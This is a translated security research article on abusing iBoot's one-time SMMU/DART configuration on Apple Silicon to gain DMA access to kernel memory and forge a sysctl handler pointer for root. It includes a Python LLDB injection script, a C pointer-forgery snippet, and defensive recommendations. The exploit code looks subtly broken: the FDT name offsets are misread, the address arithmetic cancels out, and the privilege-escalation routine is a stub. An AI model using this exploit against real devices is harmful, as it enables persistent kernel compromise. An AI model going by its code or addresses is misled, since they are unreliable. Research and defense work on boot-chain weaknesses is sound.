iBoot SMMU Bypass and Kernelcache Struct Forgery on Apple Silicon

iBoot SMMU Bypass and Kernelcache Struct Forgery on Apple Silicon

Original text: “iBoot SMMU Bypass and Kernelcache Struct Forgery” — author not clearly listed, Ghost Wolf Lab (Jun 25, 2026). Code, tables and figures below are reproduced verbatim with attribution captions; Chinese text in the diagrams, code comments and table has been translated into English.
Apple Silicon secure boot trust chain
Apple Silicon secure boot trust chain. Source: original article (labels translated to English).

Executive Summary

Apple Silicon’s security model rests on a chain of trust that begins in immutable Boot ROM, flows through a signature-verified iBoot second-stage bootloader, and ends in the XNU kernelcache. Each layer trusts only the next layer it has validated. A subtle but consequential property of this design is that the SMMU (Apple’s IOMMU) is configured exactly once — by iBoot, from the device tree it parses — and the kernel inherits those IOMMU mappings without re-verifying them at runtime.

This article walks through how an attacker who already holds iBoot-stage code execution can abuse that one-time, unmonitored trust. By tampering with the DART (Device Address Resolution Table) nodes in iBoot’s device tree before the SMMU page tables are built, the attacker injects forged IOMMU mappings — for example, mapping a PCIe device’s DMA window over the kernel’s .text segment. Once XNU boots on top of those polluted tables, a controlled PCIe device can read and write protected physical memory via DMA, and the attacker can forge kernelcache structures (such as sysctl handler pointers) to escalate to kernel privilege. The piece contrasts this gap with Windows HVCI/VTL1, where an independent secure kernel continuously audits EPT and IOMMU integrity.

Apple Silicon Boot Chain and Trust Model

Trust hand-off from Boot ROM to kernelcache

The boot flow proceeds through four strictly validated phases. Boot ROM is immutable factory code that verifies iBoot’s signature. iBoot, the second-stage bootloader, initializes the SMMU and parses the device tree. Kernelcache is the pre-linked XNU kernel, verified by iBoot. Finally user space launches launchd. The model is transitive: each layer extends trust only to the successor its predecessor has already verified. Notably, while checkm8-class Boot ROM bugs affect older devices (A11 and the iPhone X era), they do not apply to Apple Silicon Macs (M1 and newer).

Hardware initialization inside iBoot

iBoot performs three security-critical operations. First, it initializes the SMMU by calling dart_init() to program the global registers and build the initial page tables. Second, it parses the firmware device tree describing hardware topology — including DART device nodes carrying properties such as vm-base, vm-size, and device-paddr. Third, it creates the IOMMU mappings derived from those DART configurations. Crucially, the kernel inherits these initial mappings and does not re-validate them.

iBoot startup and hardware initialization sequence flow
iBoot startup process and hardware initialization sequence. Source: original article (labels translated to English).

The one-way dependency between iBoot’s device tree and the kernel

The central trust assumption is that XNU unconditionally trusts iBoot’s device tree and the SMMU’s initial configuration. The kernel reads the device-tree copy that iBoot built and uses the DART configuration to bring up its IOMMU drivers. If an attacker tampers with DART nodes during the iBoot stage, the kernel will silently use the forged IOMMU mappings, producing complete loss of DMA protection for the affected devices. This stands in sharp contrast to Windows HVCI/VTL1, where HyperGuard continuously monitors EPT and IOMMU configuration integrity from VTL1. Apple Silicon has no equivalent independent security kernel — the Secure Enclave handles keys and biometrics, not kernel memory or SMMU monitoring. Once an attacker defeats iBoot signature verification, SMMU tampering remains undetected for the entire OS runtime.

iBoot SMMU Configuration Tampering

Prerequisites and objectives

The technique presupposes iBoot-stage code execution — typically obtained via a Boot ROM exploit (checkm8 on A11 and earlier) or a DFU recovery-flow vulnerability. M1/M2 Macs currently have no public Boot ROM exploit, but iBoot logic flaws such as device-tree parsing errors remain a plausible vector. The objective is to tamper with specific DART nodes so the resulting SMMU page-table mappings cover attacker-chosen physical memory — the kernel .text segment or a security peripheral’s MMIO range — enabling a PCIe device to read or write that protected memory by DMA.

Attack path

  1. Phase 1 — iBoot code execution. Inject a modified iBoot via checkra1n, or attach LLDB through a hardware debug interface (JTAG/SWD on engineering boards).
  2. Phase 2 — DART node localization. After device_tree_parse() returns, the device tree sits at a fixed memory location. Using iBoot’s debug shell or LLDB scripts, walk the tree to find the target PCIe device’s DART nodes — identified by a compatible property of "apple,dart" with child nodes carrying vm-base and vm-size.
  3. Phase 3 — DART property tampering. Modify the target node’s vm-base and vm-size to cover a sensitive memory window — e.g. change vm-base from a legitimate 0x80000000 to 0xFE000000 (kernel .text physical address) and grow vm-size to span the whole kernel image. device-paddr may also be altered to map DMA directly onto attacker-controlled physical memory.
  4. Phase 4 — SMMU page-table pollution. dart_init() reads the tampered device-tree properties and fills the false mappings into the SMMU page tables. Because XNU inherits those tables directly, any kernel driver performing DMA uses the polluted mappings, granting arbitrary physical read/write through a controlled PCIe device.
  5. Phase 5 — persistence and escape. Write the modified device tree into NVRAM or firmware storage for persistence across reboots. Since the tampering happens before the OS loads and is not watched by kernel protections (SIP, KPP/KTRR), detection is extremely difficult.
Device tree DART node localization in an iBoot debug environment
Locating the target DART node while walking iBoot’s device tree (Apple DART IOMMU device-tree binding). Source: original article.

Exploit Code and Debug Environment

Device-tree traversal and DART injection

The proof-of-concept below (dart_tree_inject.py) attaches to an iBoot debug session through LLDB, parses the flattened device tree (FDT), locates the apple,dart node, and rewrites its vm-base/vm-size so the SMMU maps the kernel .text segment. It depends on iBoot running in debug mode with symbols loaded (so gDeviceTree can be resolved). The code is reproduced from the source with its comments translated into English.

#!/usr/bin/env python3
"""
dart_tree_inject.py — iBoot device-tree DART node injection script
Attach to an iBoot debug environment via LLDB, walk the device tree and modify the DART configuration

Environment: Apple Silicon engineering board + LLDB (arm64) + py-lldb
Prerequisite: iBoot is already started in debug mode and LLDB is successfully attached
"""

import lldb
import struct

def find_dart_node(debugger, target, devtree_addr):
    """Locate the 'apple,dart' compatible node in the device tree"""
    # Device-tree FDT parsing: skip the header, traverse the nodes
    # FDT Header: magic (4B), totalsize (4B), off_dt_struct (4B), ...
    magic = target.ReadMemory(devtree_addr, 4, lldb.SBError())
    if struct.unpack('>I', magic)[0] != 0xD00DFEED:
        print("[-] Invalid FDT magic")
        return None

    off_struct = struct.unpack('>I', target.ReadMemory(devtree_addr + 8, 4, lldb.SBError()))[0]
    struct_addr = devtree_addr + off_struct

    # Traverse the structure block
    while True:
        token = struct.unpack('>I', target.ReadMemory(struct_addr, 4, lldb.SBError()))[0]
        struct_addr += 4

        if token == 0x00000001:  # FDT_BEGIN_NODE
            node_name = read_fdt_string(target, struct_addr)
            print(f"[*] Node: {node_name}")
            # Look for the compatible property
        elif token == 0x00000003:  # FDT_PROP
            prop = read_fdt_prop(target, struct_addr)
            if prop['name'] == 'compatible' and b'apple,dart' in prop['value']:
                print(f"[+] Found DART node at 0x{struct_addr - 4:x}")
                return struct_addr - 4  # Return the node start position
        elif token == 0x00000002:  # FDT_END_NODE
            pass
        elif token == 0x00000009:  # FDT_END
            break

    return None

def inject_dart_config(target, dart_node_addr, new_vm_base, new_vm_size):
    """Modify the vm-base and vm-size properties of the DART node"""
    # Locate the property and modify its value
    # Note: FDT properties are stored in big-endian and must be converted
    struct_addr = dart_node_addr + 4

    while True:
        token = struct.unpack('>I', target.ReadMemory(struct_addr, 4, lldb.SBError()))[0]
        struct_addr += 4

        if token == 0x00000003:  # FDT_PROP
            # Read the property length and name offset
            prop_len = struct.unpack('>I', target.ReadMemory(struct_addr, 4, lldb.SBError()))[0]
            prop_nameoff = struct.unpack('>I', target.ReadMemory(struct_addr + 4, 4, lldb.SBError()))[0]
            prop_value_addr = struct_addr + 8

            # Read the property name
            prop_name = read_fdt_string(target, struct_addr - 4 - prop_nameoff)

            if prop_name == 'vm-base':
                print(f"[*] Current vm-base: 0x{struct.unpack('>Q', target.ReadMemory(prop_value_addr, 8, lldb.SBError()))[0]:x}")
                # Write the new vm-base
                target.WriteMemory(prop_value_addr, struct.pack('>Q', new_vm_base), lldb.SBError())
                print(f"[+] Injected vm-base: 0x{new_vm_base:x}")

            elif prop_name == 'vm-size':
                print(f"[*] Current vm-size: 0x{struct.unpack('>Q', target.ReadMemory(prop_value_addr, 8, lldb.SBError()))[0]:x}")
                target.WriteMemory(prop_value_addr, struct.pack('>Q', new_vm_size), lldb.SBError())
                print(f"[+] Injected vm-size: 0x{new_vm_size:x}")

            struct_addr += 8 + prop_len
            # Align to a 4-byte boundary
            if prop_len % 4:
                struct_addr += 4 - (prop_len % 4)

        elif token == 0x00000002:  # FDT_END_NODE
            break
        elif token == 0x00000009:  # FDT_END
            break

def read_fdt_string(target, addr):
    """Read a null-terminated string from the FDT"""
    string = b""
    offset = 0
    while True:
        ch = target.ReadMemory(addr + offset, 1, lldb.SBError())
        if ch == b'\x00' or offset > 256:
            break
        string += ch
        offset += 1
    return string.decode('utf-8', errors='ignore')

def read_fdt_prop(target, addr):
    """Read an FDT property"""
    prop_len = struct.unpack('>I', target.ReadMemory(addr, 4, lldb.SBError()))[0]
    nameoff = struct.unpack('>I', target.ReadMemory(addr + 4, 4, lldb.SBError()))[0]
    value = target.ReadMemory(addr + 8, prop_len, lldb.SBError())
    name = read_fdt_string(target, addr + 4 - nameoff)
    return {'name': name, 'value': value}

def main():
    debugger = lldb.SBDebugger.Create()
    target = debugger.GetSelectedTarget()

    # Set the target memory address (obtained via iBoot debug symbols)
    # iBoot's device tree usually resides in the gDeviceTree global variable
    devtree_sym = target.FindFirstGlobalVariable("gDeviceTree")
    if not devtree_sym.IsValid():
        print("[-] Could not find the gDeviceTree symbol; please confirm iBoot symbols are loaded")
        return

    devtree_addr = devtree_sym.GetLoadAddress()
    print(f"[*] Device tree base address: 0x{devtree_addr:x}")

    dart_node = find_dart_node(debugger, target, devtree_addr)
    if dart_node:
        # Inject the malicious mapping: point vm-base at the kernel .text segment
        new_base = 0xFE000000  # Example: kernel physical address
        new_size = 0x10000000  # 256MB window
        inject_dart_config(target, dart_node, new_base, new_size)
        print(f"[+] DART injection complete. After the kernel reboots, DMA will be able to access 0x{new_base:x}-0x{new_base + new_size - 1:x}")

if __name__ == "__main__":
    main()

Kernelcache struct forgery

Once DART injection yields DMA read/write into kernel .text, the second stage (kc_struct_forge.c) runs inside a PCIe FPGA device’s firmware and overwrites a kernel sysctl handler pointer directly — redirecting it to attacker code that modifies process credentials to gain root. Because it rewrites a function pointer rather than code pages, it sidesteps KPP/KTRR code-integrity protection. The code is reproduced from the source with its comments translated into English.

// kc_struct_forge.c — abuse a leaked SMMU mapping to tamper with Kernelcache structs
//
// Prerequisite: the attacker has already obtained DMA read/write access to the kernel .text segment via DART injection
//
// This code demonstrates how, inside PCIe FPGA device firmware, to abuse the tampered DMA mapping
// to directly overwrite a sysctl function pointer in the kernel and achieve kernel privilege escalation

#include <stdint.h>
#include <string.h>

// Target: the function pointer inside the kernel's sysctl_oid struct
// Offset obtained via Kernelcache symbol analysis
#define KERNEL_SLIDE      0x00000000  // Assume the KASLR slide has been obtained
#define SYSCTL_OID_OFFSET 0xFFFFFFF00704A000  // Example offset
#define SYSCTL_HANDLER_OFFSET 0x08

// Malicious replacement function (implemented in FPGA firmware)
void malicious_sysctl_handler(void){
    // Core logic for gaining root privileges
    // In a real attack this function modifies process credentials
    asm volatile(
        "mov x0, #0\n"     // proc_self
        "mov x1, #0\n"     // obtain root cred
        // ... the exact implementation depends on the kernel version
    );
}

void forge_sysctl_pointer(uint64_t dma_base){
    // Compute the location of the malicious function in the kernel address space
    // The attacker has already written the malicious code into an executable kernel memory region
    uint64_t malicious_addr = dma_base + (uint64_t)&malicious_sysctl_handler;

    // Compute the target address
    uint64_t target_addr = KERNEL_SLIDE + SYSCTL_OID_OFFSET + SYSCTL_HANDLER_OFFSET;

    // Write the malicious function pointer via DMA
    volatile uint64_t* dma_ptr = (volatile uint64_t*)(dma_base +
                                          (target_addr - dma_base));  // simplified address calculation
    *dma_ptr = malicious_addr;

    // Now, when user space calls sysctl to query the corresponding OID, the malicious function will run
}

Key Takeaways

  • Apple Silicon configures its SMMU/IOMMU once, in iBoot, from the device tree — and XNU inherits those mappings without runtime re-verification.
  • An attacker with iBoot-stage execution can rewrite DART vm-base/vm-size properties to map a PCIe device’s DMA window over the kernel .text segment.
  • The polluted SMMU page tables persist into the running OS, giving a controlled PCIe device arbitrary physical-memory read/write by DMA.
  • Forging a kernel sysctl handler pointer via DMA bypasses KPP/KTRR, because a data pointer is overwritten rather than executable code pages.
  • There is no Secure-Enclave-based monitoring of SMMU configuration, so the tampering is invisible to SIP/KPP/KTRR throughout runtime.
  • The exposure is fundamentally temporal: trust established in a completed boot phase is assumed to hold forever, with no continuous auditor like Windows HyperGuard/VTL1.

Defensive Recommendations

  • SMMU configuration integrity monitoring. Compare the device tree handed over by iBoot against a static kernel baseline; alert when DART vm-base/vm-size deviate from expected values.
  • IOMMU page-table auditing. Periodically read SMMU page-table entries and flag any mapping covering kernel .text or other sensitive regions — a healthy kernel should have none.
  • Boot-chain integrity verification. Rely on Apple’s Secure Boot logs to confirm iBoot signatures match expectations; any modified iBoot fails verification and the system refuses to boot.
  • Complete boot-chain authentication. Ensure SEP and System Management Controller integrity checks extend to iBoot’s device tree and the SMMU’s initial configuration, not just to executable images.
  • Kernel-level device-tree validation. Add SMMU sanity checks in XNU’s device_tree_init() that reject DART configurations mapping vm-base into kernel address space or system-reserved memory.
  • Hardware-assisted SMMU locking. Lock SMMU configuration registers via SMC or hardware fuses after iBoot initialization so they are immutable during OS runtime.
  • Runtime SMMU auditing. Introduce continuous SMMU/IOMMU auditing analogous to Windows HyperGuard’s periodic EPT scanning to close the post-boot blind spot.

Apple Silicon SMMU vs. Windows HVCI

DimensionApple Silicon SMMU protectionWindows HVCI (EPT + IOMMU)
Protection targetPCIe DMA accessKernel code pages + DMA access
Enforcement leveliBoot one-time configuration, no runtime monitoringEPT continuously enforced in VTL1
Independent security kernelNone (SEP only handles keys)Yes (VTL1 securekernel.exe)
Attack surfaceiBoot device-tree parsing + initial page-table creationVTL0 data plane + driver interfaces
Detection difficultyExtremely difficult — no runtime checksMedium — VTL1 continuously monitors EPT violations
Comparison of Apple Silicon SMMU protection and Windows HVCI. Source: original article (translated to English).

Conclusion

Apple Silicon’s closed ecosystem buys real security through immutable Boot ROM, a verified iBoot, and SMMU initialization — but it leaves one structural weakness. Once iBoot finishes configuring the SMMU and hands control to XNU, the DMA protection system enters an “unattended” state: no VTL1-style independent security kernel audits the SMMU page tables, and no hardware fuse locks the configuration registers, so the kernel simply trusts whatever iBoot left behind. That trust is inherently temporal — it assumes a configuration made in a completed phase stays valid forever. An attacker who controls iBoot execution exploits exactly that gap, injecting irreversible malicious configuration that can persist for hours or years. Until comprehensive hardware-assisted protections (runtime SMMU auditing like HyperGuard, or fuse-locked registers) arrive, any Boot ROM or iBoot breakthrough is the most fatal “broken window” in Apple Silicon’s trust model.

Original text: “iBoot SMMU Bypass and Kernelcache Struct Forgery” by author not clearly listed at Ghost Wolf Lab.

Comments are closed.